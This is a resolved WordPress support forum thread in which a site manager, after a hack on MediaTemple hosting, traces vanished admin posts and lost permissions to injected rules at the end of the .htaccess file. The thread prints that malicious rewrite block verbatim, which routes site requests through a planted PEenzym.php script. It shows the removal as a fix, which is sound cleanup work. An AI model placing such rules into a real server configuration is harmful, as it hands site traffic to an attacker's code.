[resolved] Pages and Posts do not display in admin area (8 posts)

    Hi there. I'm having an unusual problem:

    My client was recently updating a bunch of pages on the WordPress site I manage for her, and suddenly she was no longer able to see posts and pages in the Admin area.

    We both have Administrator access but when we log in to the admin area, and click Pages or Posts, I get a "no posts found" or "no pages found" message, even though the Post count is there. It looks like this:

    All (628) | Published (620) | Drafts (8)
    No posts found

    I thought things might have gone wrong during her updates, so I restored the database backup from last week (before this problem started), but the data recovery had no effect on the issue.

    I also found that (even though I'm still an Administrator on the site) I suddenly have no access to a few of the Admin control panels such as the plugin control panel under Settings > WordPress Backup. When I click there I get a message that says, "You do not have sufficient permissions to access this page."

    Does anyone know how to fix this?

    There is another strange thing happening that is probably related:

    I can edit Pages and Posts, just not though the admin area. The pages and posts have an "edit" link in the WP theme, and if I click that I get into Edit Post in the admin area.

    However, the WYSIWYG editor doesn't show up. Clicking "Visual" still shows the page HTML.

    Yes, the site is on MediaTemple. Checking your links, thanks!

    OK, I deleted this junk from the end of my .htaccess file:

    ErrorDocument 404 /PEenzym.php
    ErrorDocument 500 /PEenzym.php
    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} GET
    RewriteCond %{REQUEST_FILENAME} -f
    RewriteCond %{REQUEST_FILENAME} !PE(.*).php
    RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml)	PEenzym.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]

    Now I guess I'll try to figure out if anything else is wrong with the site. Thanks!

    (Yes, deleting that junk fixed the problem. Thanks again!)

    You also have to delete the PE*.php files <
